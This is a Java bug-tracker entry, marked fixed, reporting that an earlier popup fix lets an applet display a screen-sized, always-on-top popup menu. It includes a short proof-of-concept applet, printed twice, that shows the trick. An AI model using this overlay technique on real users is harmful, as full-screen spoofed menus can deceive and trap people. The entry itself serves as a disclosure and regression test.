-
Bug
-
Resolution: Fixed
-
P3
-
7
-
None
-
b27
-
generic
-
generic
There is an oversight in the fix for 6675802. It allows a malicious applet to show an always-on-top popup menu which has the whole screen size. A code example is below:
=== Source Begin ===
import javax.swing.*;
import java.awt.*;
public class MaliciousApplet extends JApplet {
public void start() {
JPopupMenu popupMenu = new JPopupMenu();
popupMenu.add(new JMenuItem("Click"));
Dimension screenSize = Toolkit.getDefaultToolkit().getScreenSize();
popupMenu.setPopupSize(screenSize);
popupMenu.show(null, 0, 0);
}
}
=== Source End ===
=== Source Begin ===
import javax.swing.*;
import java.awt.*;
public class MaliciousApplet extends JApplet {
public void start() {
JPopupMenu popupMenu = new JPopupMenu();
popupMenu.add(new JMenuItem("Click"));
Dimension screenSize = Toolkit.getDefaultToolkit().getScreenSize();
popupMenu.setPopupSize(screenSize);
popupMenu.show(null, 0, 0);
}
}
=== Source End ===
- relates to
-
JDK-6580930 Swing Popups should overlap taskbar
- Resolved
-
JDK-8074481 [macosx] Menu items are appearing on top of other windows
- Resolved
-
JDK-6694823 A popup menu can be partially hidden under the task bar in applets
- Resolved
-
JDK-6675802 Regression: heavyweight popups cause SecurityExceptions in applets
- Closed